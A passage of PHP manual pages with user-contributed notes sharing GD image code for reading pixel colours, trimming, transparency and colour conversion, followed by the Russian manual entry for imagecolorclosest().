                $img = imagecreatefrompng($tmp_img);
            }

            list($width, $height) = getimagesize($tmp_img);

            echo '<div class="canvas" style="width: '.$width*$p.'px; height: '.$height*$p.'px;">';
            for ($i = 0; $i < $height; $i++) {
                $y = $i; // Get Y coords
                for ($j = 0; $j < $width; $j++) {
                    $x = $j; // Get X coords

                    $rgb = imagecolorat($img, $x, $y); // Get pixel color
                    $rgba = imagecolorsforindex($img, $rgb);
                    unset($rgba['alpha']); // Remove Alpha channel

                    $bg_color = implode(', ', $rgba);
                    ?>
                        <i class="pixel" style="background: rgb(<?= $bg_color; ?>); top: <?= $i*$p; ?>px; left: <?= $j*$p; ?>px;"></i>
                    <?php
                }
            }
            echo '</div>';
        }
    ?>

</body>
</html>
dewi at dewimorgan dot com 24-Aug-2014 10:00
To test whether to handle the return value of this function as RGB or a palette index, see either imageistruecolor(), or (for GD < 2.0.1, or PHP 4 < 4.3.2) imagecolorstotal() == 0.

It seems that a number of comments here take many lines to convert RGB or RGBA values to hex strings #AARRGGBB. This is a one-liner in most cases:

$hex = sprintf("#%08X", imagecolorat($im32, $x, $y));
$hex = sprintf("#%08X", $rgb);
$hex = sprintf("#%08X", $argb);
$hex = sprintf("#%02X%06X", $rgba >> 24, $rgba & 0xFF000000);
$hex = sprintf("#00%02X%02X%02X", $r, $g, $b);
$hex = sprintf("#%02X%02X%02X%02X", $a, $r, $g, $b);

For paletted images, it's two lines:
$cols = imagecolorsforindex($imPal, imagecolorat($imPal, $x, $y));
$hex = sprintf("#%08X", $cols['alpha'], $cols['red'], $cols['green'], $cols['blue']);
justin at hoogs dot com dot au 21-Oct-2013 02:05
This improves upon to my previous function (which only really worked on a few greyscale colours). Colour should now be a hexadecimal colour value. Colour and tolerance are now optional parameters.

trimImage ( resource $image [, str $colour [, int $tolerance]] )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
Hexadecimal value of colour to be 'trimmed'.  If omitted the top/left corner colour will be used as default.

tolerance
Acceptable range +- from colour.  Allowable range 0 to 255. If omitted 10 will be used as default.

Return Values
Returns an array of outermost pixels which are beyond the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

function trimImage($im,$c=null,$t=10) {
  // if hex colour ($c) exists attempt to convert to decimal
  if ($c) $rgb = @hexdec($c);
  // if hexdec failed to get a value between black (0) and white (16777215)
  // grab the colour from the top left corner (2 pixels in to avoid messy edges)
  if (!is_numeric($rgb) || $rgb < 0 || $rgb > 16777215) $rgb = imagecolorat($im, 2, 2);
  // split $rgb into red, green and blue
  $r = ($rgb >> 16) & 0xFF;
  $g = ($rgb >> 8) & 0xFF;
  $b = $rgb & 0xFF;
  // make sure tolerance ($t) is a number between 0 - 255
  if (!is_numeric($t) || $t < 0) $t = 0;
  elseif ($t > 255) $t = 255;

  $w = imagesx($im); $h = imagesy($im); // image width and height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $red = ($rgb >> 16) & 0xFF;
      $grn = ($rgb >> 8) & 0xFF;
      $blu = $rgb & 0xFF;
      if (
        $red < $r-$t || $red > $r+$t || // not trim red (nor within tolerance)
        $grn < $g-$t || $grn > $g+$t || // not trim green (nor within tolerance)
        $blu < $b-$t || $blu > $b+$t // not trim blue (nor within tolerance)
      ) {
        $y_axis[$y] = $y; $x_axis[$x] = $x; // wanted pixel coordinates stored
      }
    }
  }
  if (!$y_axis) $y_axis = $x_axis = array(0); // avoid errors if all pixels are trimmed
  // sort so first and last occurances are at start and end
  sort($y_axis); sort($x_axis);

  $t = array_shift($y_axis); // first wanted pixel on Y axis (top)
  $r = array_pop($x_axis); // last wanted pixel on X axis (right)
  $b = array_pop($y_axis); // last wanted pixel on Y axis (bottom)
  $l = array_shift($x_axis); // first wanted pixel on X axis (left)

  return array($t,$r,$b,$l);
}
justin at hoogs dot com dot au 19-Mar-2012 03:48
trimImage ( resource $image , int $colour , int $tolerance )

trimImage() will return top-most, right-most, bottom-most and left-most positions of wanted pixels for an image (i.e. find minimum image area so you can then trim given colour from the outer edges of an image).

Parameters

image
An image resource, returned by one of the image creation functions, such as imagecreatetruecolor().

colour
colour to be 'trimmed'.  Allowable range 0 (black) to 255 (white).  if null (or outside 0 - 255) will use top/left corner colour as default.

tolerance
Acceptable range +- from colour.  0 (trim only exact colour) to 255 (trim all colours).

Return Values
Returns an array of outermost pixels which are outside the tolerance range from colour.
array( int $top, int $right, int $bottom, int $left )

Example (and actual function)
<?php
function trimImage($im,$c,$t) {
  // if trim colour ($c) isn't a number between 0 - 255
  if (!is_numeric($c) || $c < 0 || $c > 255) {
    // grab the colour from the top left corner and use that as default
    $rgb = imagecolorat($im, 2, 2); // 2 pixels in to avoid messy edges
    $r = ($rgb >> 16) & 0xFF;
    $g = ($rgb >> 8) & 0xFF;
    $b = $rgb & 0xFF;
    $c = round(($r+$g+$b)/3); // average of rgb is good enough for a default
  }
  // if tolerance ($t) isn't a number between 0 - 255 use 10 as default
  if (!is_numeric($t) || $t < 0 || $t > 255) $t = 10;

  $w = imagesx($im); // image width
  $h = imagesy($im); // image height
  for($x = 0; $x < $w; $x++) {
    for($y = 0; $y < $h; $y++) {
      $rgb = imagecolorat($im, $x, $y);
      $r = ($rgb >> 16) & 0xFF;
      $g = ($rgb >> 8) & 0xFF;
      $b = $rgb & 0xFF;
      if (
      ($r < $c-$t || $r > $c+$t) && // red not within tolerance of trim colour
      ($g < $c-$t || $g > $c+$t) && // green not within tolerance of trim colour
      ($b < $c-$t || $b > $c+$t) // blue not within tolerance of trim colour
      ) {
        // using x and y as keys condenses all rows and all columns
        // into just one X array and one Y array.
        // however, the keys are treated as literal and therefore are not in
        // numeric order, so we need to sort them in order to get the first
        // and last X and Y occurances of wanted pixels.
        // normal sorting will remove keys so we also use x and y as values,
        // this way they are still available without preserving keys.
        $y_axis[$y] = $y;
        $x_axis[$x] = $x;
        // note: $y_axis[] = $y; and $x_axis[] = $x; works just as well
        // but results in much much larger arrays than is necessary
        // array_unique would reduce size again but this method is quicker
      }
    }
  }
  // sort them so first and last occurances are at start and end
  sort($y_axis);
  sort($x_axis);

  $top = array_shift($y_axis); // first wanted pixel on Y axis
  $right = array_pop($x_axis); // last wanted pixel on X axis
  $bottom = array_pop($y_axis); // last wanted pixel on Y axis
  $left = array_shift($x_axis); // first wanted pixel on X axis

  return array($top,$right,$bottom,$left);
}

$image='test.jpg';
$im = imagecreatefromjpeg($image); // we need resource

$c = (isset($_GET[c])) ? $_GET[c] : null; // set trim colour via GET
$t = (isset($_GET[t])) ? $_GET[t] : null; // set tolerance via GET

list($t,$r,$b,$l) = trimImage($im,$c,$t); // find top, right, bottom and left

$w = $r-$l; // find width
$h = $b-$t; // find height

imagedestroy($im); // free resource

// below is just for visually testing function ---------------------------------

$html_display = <<<HTM

<style type="text/css">
#stage {
  position: relative;
  float: left; // so it is the same size as the image it contains
}
#canvas {
  border: solid 1px #FC3;
  width: {$w}px;
  height: {$h}px;
  position: absolute;
  top: {$t}px;
  left: {$l}px;
}
img { border: solid 1px #EEE; }
</style>

HTM;

?>
<html>
<head>
<?=$html_display?>
</head>

<body>
<div id="stage">
  <div id="canvas"></div>
  <img src="test.jpg" />
</div>

</body>
</html>
chandrachur at elegantsystems dot net 28-Mar-2011 01:53
Here is a fun code for making images with white bg transparent. Well it can work with any bg but you need to adjust the color values accordingly. Works best with plain dual colors. I searched for this kind of code a lot but unable to find one ...see if this helps someone.

<?php

function transparentImage($src){  //making images with white bg transparent
$r1=80;
$g1=80;
$b1=80;
for($x = 0; $x < imagesx($src); ++$x)
        {
            for($y = 0; $y < imagesy($src); ++$y)
            {
                $color=imagecolorat($src, $x, $y);
                $r = ($color >> 16) & 0xFF;
                $g = ($color >> 8) & 0xFF;
                $b = $color & 0xFF;
                for($i=0;$i<270;$i++){
                    if($r.$g.$b==($r1+$i).($g1+$i).($b1+$i)){
                        $trans_colour = imagecolorallocatealpha($src, 0, 0, 0, 127);
                        imagefill($src, $x, $y, $trans_colour);
                    }
                }
            }
        }

        return $src;
}

$image='abc/abc.jpg';
$src = imagecreatefromjpeg($image);
$src=transparentImage($src); //Lets make the jpegs transparent

?>
Kae Cyphet 08-Feb-2011 05:02
If you are getting inconsistent results or results that dont make any sense when trying to retrieve a black pixel eg:

(Red,Green,Blue)
0,0,0
0,0,0
0,0,2
0,0,4
0,0,6
0,0,7
0,0,0
0,0,10
0,0,8
0,0,9
0,0,0
0,0,12
0,0,13
0,0,0

switch from using imagecreate() to imagecreatetruecolor()

issue found when creating a graph where a pixel would increase in color based on the previous color and new data.
madtrader117 at gmail dot com 08-Aug-2010 07:51
Here's a function I made for finding the size of the black border surrounding some movie thumbnails where the movie itself has had black padding added in order to maintain aspect ratio.

<?php
    define("DEBUG_OUT",TRUE);
    $border_size = find_border_size($path);
    print_r($border_size);
    /*
     * $border = max(find_border_size("img.jpg"));
     * $thumb_size_x = 180+(2*$border);
     * $thumb_size_y = 240+(2*$border);
     * $thumb_size = $thumb_size_x . "x" . $thumb_size_y; (String to use in the -s param of ffmpeg)
     * $crop_cmd = "-croptop $border -cropbottom $border -cropright $border -cropleft $border";
     */
    function find_border_size($path)
    {
        /* The pad var is essentially a 'feather' value. Unless one of the RGB values rises
         * above $pad we are saying to continue. You can try different values but with 10 I
         * would still get a decent sized border due to the bleedover of the movie into
         * the hat.
         */
        $pad = 20;
        $border_y = 0;
        $border_x = 0;

        if(!file_exists($path))
        {
            if(DEBUG_OUT) echo("Error: $path not found.\n");
            return FALSE;
        }
        else
        {
            if(DEBUG_OUT) echo("Opening: $path ...\n");
        }
        $im = @imagecreatefromjpeg($path);
        if(!$im) return FALSE;
        $height = imagesy($im);
        $width = imagesx($im);

        /* Let's start at 0, 0 and keep going till we hit a color */
        if(DEBUG_OUT) echo("Image - Height: $height / Width: $width\n");
        /* Border Height(Y) */
        $center_width = ceil($width/2);
        for($i=0; $i<$height; $i++)
        {
            $rgb = imagecolorat($im,$center_width,$i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Height: ($center_width,$i) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_y = $i;
                if($border_y == $height) $border_y = 0;
                break;
            }
        }

        /* Border Width(X) */
        $center_height = ceil($height/2);
        for($i=0; $i<$width; $i++)
        {
            $rgb = imagecolorat($im,$i,$center_height);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if(DEBUG_OUT) echo("Width: ($i,$center_width) R: $r / G: $g / B: $b\n");
            if($r >= $pad || $g >= $pad || $b >= $pad)
            {
                $border_x = $i;
                if($border_x == $width) $border_x = 0;
                break;
            }
        }

        /* I am making the border a multiple of 2 since I am sending these values to FFMpeg */
        if($border_x != 0)
        {
            $border_x /= 2;
            $border_x = round($border_x);
            $border_x *= 2;
        }
        if($border_y != 0)
        {
            $border_y /= 2;
            $border_y = round($border_y);
            $border_y *= 2;
        }
        if(DEBUG_OUT) echo("Border Width: $border_x / Border Height: $border_y\n");
        return array($border_x,$border_y);
    }
?>
black at scene-si dot org 18-May-2010 05:39
If an image is filled with a solid color (rgb 0,0,0) the average color will be 0,0,0, and the histogram will have the maximum values at r[0], g[0], and b[0]. Since we remove those values with the tolerance (+- 16), we are only left with colors outside of average.

If the removed colors represent more than 90% of the image (we remove 6.25-12.5% of the histogram based on the average color), then we asume the image is blank.

This detects solid filled images of any color, and with images of very little color variance (blank wall, blue sky with no clouds, nearly faded images, very low contrast and low color range images). The function is perfect for checking if a frame from a video is blank or not (in case you are generating thumbnails).

<?php
function isBlank($gd_resource, $tolerance, $percent)
{
        list($w,$h) = array(imagesx($gd_resource), imagesy($gd_resource));

        $count = 0;
        $hr = $hg = $hb = array();
        for ($i=0; $i<$h; $i++) {
                for ($j=0; $j<$w; $j++) {
                        $pos = imagecolorat($gd_resource, $j, $i);
                        $f = imagecolorsforindex($gd_resource, $pos);
                        $hr[$f['red']] = issetor($hr[$f['red']],0) + 1;
                        $hg[$f['green']] = issetor($hg[$f['green']],0) + 1;
                        $hb[$f['blue']] = issetor($hb[$f['blue']],0) + 1;
                        $count ++;
                }
        }

        $rc = array_sum($hr);
        $gc = array_sum($hg);
        $bc = array_sum($hb);

        $r = $rc/$count;
        $g = $gc/$count;
        $b = $bc/$count;

        $ra = range(max(0,$r-$tolerance), min(255,$r+$tolerance));
        $ga = range(max(0,$g-$tolerance), min(255,$g+$tolerance));
        $ba = range(max(0,$b-$tolerance), min(255,$b+$tolerance));

        foreach ($ra as $rx) {
                unset($hr[$rx]);
        }
        foreach ($ga as $gx) {
                unset($hg[$gx]);
        }
        foreach ($ba as $bx) {
                unset($hb[$bx]);
        }

        $red = floatval(array_sum($hr)+1) / floatval($rc);
        $green = floatval(array_sum($hg)+1) / floatval($gc);
        $blue = floatval(array_sum($hb)+1) / floatval($bc);

        if ($red<$percent && $green<$percent && $blue<$percent) {
                return true;
        }
        return false;
}

// Example;

isBlank($gd_resource, 16, 0.1);

?>
Richard 20-Sep-2008 11:49
With the following functions you can not only convert a 24 bit RGB integer to its corresponding red, green, and blue values, but also 32 bit RGBA integers to its corresponding red, green, blue, and ALPHA values.

Not only that, but I even threw in a function for converting those red, green, blue, and alpha values back into a 32 bit RGBA integer.

Sample usage:
<?php
$int = rgba2int(255, 255, 255, 16);
echo $int . "<br>";
$rgba = int2rgba($int);
print_r($rgba);
?>

What it should output:
285212671
Array
(
    [r] => 255
    [g] => 255
    [b] => 255
    [a] => 16
)

<?php
function rgba2int($r, $g, $b, $a=1) {
    /*
    This function builds a 32 bit integer from 4 values which must be 0-255 (8 bits)
    Example 32 bit integer: 00100000010001000000100000010000
    The first 8 bits define the alpha
    The next 8 bits define the blue
    The next 8 bits define the green
    The next 8 bits define the red
    */
    return ($a << 24) + ($b << 16) + ($g << 8) + $r;
}

function int2rgba($int) {
    $a = ($int >> 24) & 0xFF;
    $r = ($int >> 16) & 0xFF;
    $g = ($int >> 8) & 0xFF;
    $b = $int & 0xFF;
    return array('r'=>$r, 'g'=>$g, 'b'=>$b, 'a'=>$a);
}
?>
Scott Thompson (VBAssassin) 16-Apr-2008 05:02
I've found this function very useful when wanting to manipulate an existing image. An example would be to simply flip an image (source code here: http://www.coderprofile.com/source-code/372/ )

The principle i use a lot is to scan through an image pixel by pixel performing some kind of action on that pixel... and then saving the newly created pixel on to a new canvas ready to display to the browser.

The only problem i find is speed... so some kind of caching mechanism and dimensions limitation on images that are processed is recommended for high traffic use.

Kind regards,
Scott
p h o c i s [a-t] g m a i l c o m 20-Nov-2007 09:47
I believe GD has an issue with transparent mattes and alpha blending. It seems GD thinks that some images have a black matte transparency (meaning that the image is built on a black matte instead of transparent).

And while "alan hogan dot com slash contact" solution does deal with this, the results seem to be... glitchy. you get different results each time you do it, and they are not always the best.

So I made a different solution that, while it looks better on a white background and is consistent, still sort of mangles the image just a bit by merging all blended pixels with the transparent color.

// Load image
$img = imagecreatefrompng('my_broken_png.png');

// Make matte canvas
$matte = imagecreatetruecolor(16,16);
$trans_color = imagecolorallocatealpha($matte,254,254,254,0);
imagefill($matte, 0,0,$trans_color);

// Put the old image on the matte
imagecopy($matte,$img,0,0,0,0,16,16);

// Turn the matte color into full alpha (blended pixels will not be affected)
imagecolortransparent($matte,$trans_color);

// Display image
header('Content-Type: image/gif');
imagegif($matte);
alan hogan dot com slash contact 12-Nov-2007 02:44
As creamdog noted before, the alpha channel IS available from this function! (The manual should probably be updated to include this!)

$rgba = imagecolorat($im,$x,$y);
$alpha = ($rgba & 0x7F000000) >> 24;

$alpha will then contain the TRANSPARENCY (NOT OPACITY) level. So 127, the max, would be completely transparent, and 0 would be completely opaque.

Using this information, it is possible to write a dithering png-to-gif function like the completely working simple one below:

<?php
$im = imagecreatefrompng($pngRel);
        $transparentColor = imagecolorallocate($im, 0xfe, 0x3, 0xf4 );
        $height = imagesy($im);
        $width = imagesx($im);
        for($x = 0; $x < $width; $x++){
            for($y = 0; $y < $height; $y++) {
                $alpha = (imagecolorat($im,$x,$y) & 0x7F000000) >> 24;
                //DITHER!
                if ($alpha > 3 && (
                        $alpha >=127-3 ||
                        (rand(0,127))>=(127-$alpha)
                    )){
                    imagesetpixel($im,$x,$y,$transparentColor);
                }

            }
        }
        imagecolortransparent($im, $transparentColor);
        imagegif($im, $gifRel);//save
        header("Content-type: image/gif");
        readfile($gifRel); //pass thru to browser

?>
pocze_zsolt at hotmail dot com 15-Sep-2007 04:55
This is a histogram-stretching function to get a better contrast:

function contrast_stretch( $img ) {
    $x = imagesx($img);
    $y = imagesy($img);

    $min=255.0;
    $max=0.0;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);
        $gst = $f["red"]*0.15 + $f["green"]*0.5 + $f["blue"]*0.35;
        if($gst>$max) $max=$gst;
        if($gst<$min) $min=$gst;
    }
    }

    $distance = $max-$min;

    for($i=0; $i<$y; $i++) {
    for($j=0; $j<$x; $j++) {
        $pos = imagecolorat($img, $j, $i);
        $f = imagecolorsforindex($img, $pos);

        $red = 255*($f["red"]-$min)/$distance;
        $green = 255*($f["green"]-$min)/$distance;
        $blue = 255*($f["blue"]-$min)/$distance;

        if($red<0) $red = 0.0;
        elseif($red>255) $red=255.0;

        if($green<0) $green = 0.0;
        elseif($green>255) $green=255.0;

        if($blue<0) $blue = 0.0;
        elseif($blue>255) $blue=255.0;

        $color = imagecolorresolve($img, $red, $green, $blue);
        imagesetpixel($img, $j, $i, $color);
    }
    }
}
29-Nov-2006 04:45
//test if a Jpeg is greyscale or color

function iscolor($pic_adress){

// A Pixel is Greyscale if the r = B = G
    //example: colorpixel R=250, G=140 , B=19  Greyscale Pixel R=110, G= 110, B=110

    //we do a check of 10 Pixels to find out if the Picture is Greyscale
    $tocheck = 10;

    $iscolor=false;

    $temp= getimagesize($pic_adress);

    $x= $temp[0];
    $y= $temp[1];

    $im= imagecreatefromjpeg($pic_adress);

    //now check out the Pixels
    for( $i = 0 ; $i< $tocheck && !$iscolor; $i++){

    // Here a Random Pixel is chosen
    $color = imagecolorat($im,rand(0,$x),rand(0,$y));

    //Problem color is an int
    //The Hex view on the number is RRGGBB
    // Here we get the blue part of the Pixel
    $blue = 0x0000ff & $color;

    $green = 0x00ff00 & $color;
   //The Green part we have to push 8 bits to the right to get an Compareable result
    $green = $green >> 8;
    $red =0xff0000 & $color;
    //red part needs to be pushed 16 bit
    $red = $red >> 16;
    // if one of the Pixels isnt Greyscale it breaks an you know this is a color picture
    if( $red!= $green || $green!= $blue){
        $iscolor = true;
        break;
        }
    }
    return $iscolor;

}
Luciano Ropero 27-Oct-2006 11:31
I made a function that calculates the average color of a given image resource and returns it in "#rrggbb" format (hex):

function average($img) {
    $w = imagesx($img);
    $h = imagesy($img);
    $r = $g = $b = 0;
    for($y = 0; $y < $h; $y++) {
        for($x = 0; $x < $w; $x++) {
            $rgb = imagecolorat($img, $x, $y);
            $r += $rgb >> 16;
            $g += $rgb >> 8 & 255;
            $b += $rgb & 255;
        }
    }
    $pxls = $w * $h;
    $r = dechex(round($r / $pxls));
    $g = dechex(round($g / $pxls));
    $b = dechex(round($b / $pxls));
    if(strlen($r) < 2) {
        $r = 0 . $r;
    }
    if(strlen($g) < 2) {
        $g = 0 . $g;
    }
    if(strlen($b) < 2) {
        $b = 0 . $b;
    }
    return "#" . $r . $g . $b;
}

Although, I've noticed that you can also get a fairly good average color generating a 1px by 1px copy with imagecopyresampled (the pixel generated is colored with the average color).
morten at nilsen dot com 11-Sep-2006 08:17
A better way of encoding a color value to #rrggbb:

<?php
  printf('#%06x',$c);
?>

or

<?php
  $rgb = sprintf('#%06x',$c);
?>
robert at future-vision dot nl 15-Dec-2005 04:53
Look mom, no tables :)

I made some changes to the code from 'hazard AT krankteil DOTTILLYDO de' so the function would output a div that displays the image.

As for the size of the outputted file I can say the original png file was lots smaller, but maybe its a nice feature for small buttons or such.

The way you can use it is the same as the code from 'hazard AT krankteil DOTTILLYDO de'.

litle note: each div contains a bogus image. When this is not in IE will screw up the output.

<?
    function hexcolor($c) {
        $r = ($c >> 16) & 0xFF;
        $g = ($c >> 8) & 0xFF;
        $b = $c & 0xFF;
        return '#'.str_pad(dechex($r), 2, '0', STR_PAD_LEFT).str_pad(dechex($g), 2, '0', STR_PAD_LEFT).str_pad(dechex($b), 2, '0', STR_PAD_LEFT);
    }

    function png2div($filename) {

        $img = imagecreatefrompng($filename);
        $width = imagesx($img);
        $height = imagesy($img);
        $div_width = 1;
        $previous_color = 0;

        $output = '<div style="position:relative;width:' . $width . 'px;height:'. $height .'px;">';

        for($y = 0;$y < $height;++$y){

            for($x = 0;$x < $width;++$x){

                $current_color = ImageColorAt($img, $x, $y);

                if($current_color == $previous_color && $x < $width-1){
                    ++$div_width;
                }
                else{
                    $output .= '<div style="position:relative;float:left;width:' . $div_width . 'px;height:1px;background-color:' . hexcolor((($div_width > 1)? $previous_color:$current_color)) . '"><img src="bogus.gif" alt="" width="1" height="1" /></div>';
                    $previous_color = $current_color;
                    $div_width = 1;
                }
            }
            ob_flush();
        }

        $output .= '</div>';

        return $output;

    }

?>
T. Dekker 27-Oct-2005 12:40
In GD 2.x there is support for true color images complete with an alpha channel. GD 2.x has a 7-bit (0-127) alpha channel.

While most people are used to an 8-bit (0-255) alpha channel, it is actually quite handy that GD's is 7-bit (0-127). Each pixel is represented by a 32-bit signed integer, with the four 8-bit bytes arranged like this:

 High Byte <--> Low Byte
{Alpha Channel} {Red} {Green} {Blue}

For a signed integer, the leftmost bit, or the highest bit, is used to indicate whether the value is negative, thus leaving only 31 bits of actual information. PHP's default integer value is a signed long into which we can store a single GD palette entry. Whether that integer is positive or negative tells us whether antialiasing is enabled for that palette entry.
swimgod 02-Sep-2005 01:36
this function i made will compare two($start-$finish) images and change the pixels with diffrent colors in the "finish" image
then displays them both next to each other in one image

another feature is "display" which will echo text
"50% on
50% off"-% count(if the number is lower then 1 it will go into one decamil count

or type "2" will be
"10023 on
3000 off"-pixel count

one last feature is "color"
which you define in an array
$color = array("r" => "244","g" => "122","b" => "100");

to finish up the discrpition im gonna show this "map" of my function
compare($start, $finish[, $color[, $display[, $type]]])
image-url($start) - base image URL
image-url($finish) - compare image URL
array($color) - array with keys "r", "g", "b" r being RED 0-255 g being GREEN 0-255 b being BLUE 0-255
bool($display) - 1 OR TRUE will return text stats from compare
int($type) - 1 OR 0 | 1 being % results | 0 being pixel results

<?
function compare($start, $finish, $color, $display, $type){

$im = ImageCreateFrompng($start);
$im2 = ImageCreateFrompng($finish);
$img['x'] = imagesx($im);
$img['y'] = imagesy($im);
$img2['x'] = imagesx($im2);
$img2['y'] = imagesy($im2);
if(($img['x'] == $img2['x']) && ($img['y'] == $img2['y'])){

//get and set image hieght and width
$i = array("width" =>  $img['x']*2, "height" => $img['y']);
$im3 = imagecreatetruecolor($i['width'], $i['height']);
if($color){
$color = imagecolorallocate($im3, $color['r'], $color['g'], $color['b']);
}else{

$color = imagecolorallocate($im3, 255, 255, 255);
}
for($y = $img['y'];$y > 0; $y--){
for($x = $img['x'];$x > 0; $x--){
if(ImageColorAt($im, $x, $y) == ImageColorAt($im2, $x, $y)){
$on = $on+1;
$rgb = ImageColorAt($im, $x, $y);
Imagesetpixel($im3, $img['x']+$x, $y, $rgb);
}else{
$off = $off+1;
imagesetpixel($im3, $img['x']+$x, $y , $color);
}
}
}
if($display == true){
if(($type == "1") || (!$type)){
$off2 = (round(($off / $on)*10));
if(($off2 == 0) && ($off > 0)){
$off2 = round(($off / $on)*10)*10;
}
$on2 = (100-$off2);
$off2 .="%";
$on2 .="%";
}else{
$off2 = $off;
$on2 = $on;
}
echo $off2 ." off<br>". $on2 ." on";
}else{
imagecopy($im3, $im, 0, 0, 0, 0, $img['x'], $img['y']);
@header("Content-type: image/png");
imagepng($im3);
imagedestroy($im3);
}
imagedestroy($im);
imagedestroy($im2);
return TRUE;
}else{
return False;
}
}
?>
Super Moi 28-Aug-2005 08:31
Here is a contribution for change tint.

function colorize($path_image, $red, $green, $blue)
{
      $im = imagecreatefrompng($path_image);
    $pixel = array();

    $n_im = imagecreatetruecolor(imagesx($im),imagesy($im));
    $fond = imagecolorallocatealpha($n_im, 255, 255, 255, 0);
    imagefill($n_im, 0, 0, $fond);

    for($y=0;$y<imagesy($n_im);$y++)
    {
        for($x=0;$x<imagesx($n_im);$x++)
        {
            $rgb = imagecolorat($im, $x, $y);
            $pixel = imagecolorsforindex($im, $rgb);

            $r = min(round($red*$pixel['red']/169),255);
            $g = min(round($green*$pixel['green']/169),255);
            $b = min(round($blue*$pixel['blue']/169),255);
            $a = $pixel['alpha'];
            //echo('red : '.$pixel['red'].' => '.$r.', green : '.$pixel['green'].' => '.$g.', blue : '.$pixel['blue'].' => '.$b.', alpha : '.$pixel['alpha'].' => '.$a.'<br>');

            $pixelcolor = imagecolorallocatealpha($n_im, $r, $g, $b, $a);

            imagealphablending($n_im, TRUE);
            imagesetpixel($n_im, $x, $y, $pixelcolor);
        }
    }

       imagepng($n_im,'test.png');
       imagedestroy($n_im);
}
mumig at poczta dot onet dot pl 27-Feb-2004 08:13
imagecolorat() works differently for png's with true color and for paletted png's - for true color it returns value of color, for paletted it returns index number and you have to use  imagecolorsforindex() to get rgb color value.


Получение индекса цвета ближайшего к заданному

  • « imagecolorat
  • imagecolorclosestalpha »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получение индекса цвета ближайшего к заданному

imagecolorclosest

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecolorclosest — Получение индекса цвета ближайшего к заданному

Описание

imagecolorclosest(
GdImage $image,
int $red,
int $green,
int $blue
): int

Возвращает индекс цвета в палитре изображения, "ближайшего" к заданному RGB значению.

"Расстояние" между цветами в палитре рассчитывается геометрически, как если бы RGB значения были представлены в виде точек в трёхмерном пространстве.

Если изображение было создано из файла, то будут распознаны только цвета, используемые в изображении. Цвета, которые используются только в палитре, распознаны не будут.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

red

Значение красного компонента цвета.

green

Значение зелёного компонента цвета.

blue

Значение синего компонента цвета.

Параметры цвета могут быть либо целочисленными в диапазоне от 0 до 255, либо шестнадцатеричными в диапазоне от 0x00 до 0xFF.

Возвращаемые значения

Возвращает индекс цвета в палитре изображения, ближайшего к заданному.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Поиск набора цветов изображения

<?php
// Создание изображения и преобразование его в палитровое
$im = imagecreatefrompng('figures/imagecolorclosest.png');
imagetruecolortopalette($im, false, 255);

// Цвета для поиска (RGB)
$colors = array(
array(254, 145, 154),
array(153, 145, 188),
array(153, 90, 145),
array(255, 137, 92)
);

// Проход по каждому цвету и поиск ближайшего к нему в палитре.
// Возврат номера по порядку, RGB искомого цвета и найденное RGB соответствие
foreach($colors as $id => $rgb)
{
$result = imagecolorclosest($im, $rgb[0], $rgb[1], $rgb[2]);
$result = imagecolorsforindex($im, $result);
$result = "({$result['red']}, {$result['green']}, {$result['blue']})";

echo "#$id: Поиск ($rgb[0], $rgb[1], $rgb[2]); Ближайшее сходство: $result.\n";
}

imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

#0: Поиск (254, 145, 154); Ближайшее сходство: (252, 150, 148).
#1: Поиск (153, 145, 188); Ближайшее сходство: (148, 150, 196).
#2: Поиск (153, 90, 145); Ближайшее сходство: (148, 90, 156).
#3: Поиск (255, 137, 92); Ближайшее сходство: (252, 150, 92).

Смотрите также

  • imagecolorexact() - Получение индекса заданного цвета
  • imagecolorclosestalpha() - Получение индекса цвета ближайшего к заданному с учётом прозрачности
  • imagecolorclosesthwb() - Получение индекса цвета, имеющего заданный тон, белизну и затемнение

User Contributed Notes

Hayley Watson 23-Jul-2017 04:33
RGB space isn't the best choice for measuring the distance between two colours, since it ignores, for example, the fact that we count both dark green and light green as "green" (the RGB distance between #000000 and #7f7f7f is the same as the distance between #000000 and #5443c0 - a slightly darkened SlateBlue).

A better choice of colour space that conforms better to how colours are perceived is the so-called Lab space, which measures colours according to how light/dark, red/green, and yellow/blue they are. (There are still better models, but they come at the expense of increased computation.)

<?php

function warp1($c)
{
    if($c > 10.3148)
    {
        return pow((561 + 40*$c)/10761, 2.4);
    }
    else
    {
        return $c / 3294.6;
    }
}
function warp2($c)
{
    if($c > 0.008856)
    {
        return pow($c, 1/3);
    }
    else
    {
        return 7.787 * $c + 4/29;
    }
}
function rgb2lab($rgb)
{
    [$red, $green, $blue] = array_map('warp1', $rgb);

    $x = warp2($red * 0.4339 + $green * 0.3762 + $blue * 0.1899);
    $y = warp2($red * 0.2126 + $green * 0.7152 + $blue * 0.0722);
    $z = warp2($red * 0.0178 + $green * 0.1098 + $blue * 0.8730);

    $l = 116*$y - 16;
    $a = 500 * ($x - $y);
    $b = 200 * ($y - $z);

    return array_map('intval', [$l, $a, $b]);
}

function generate_palette_from_image($image)
{
    $pal = [];
    $width = imagesx($image);
    $height = imagesy($image);
    for($x = 0; $x < $width; ++$x)
    {
        for($y = 0; $y < $height; ++$y)
        {
            $pal[] = imagecolorat($image, $x, $y);
        }
    }
    return array_map(function($col)use($image)
    {
        $rgba = imagecolorsforindex($image, $col);
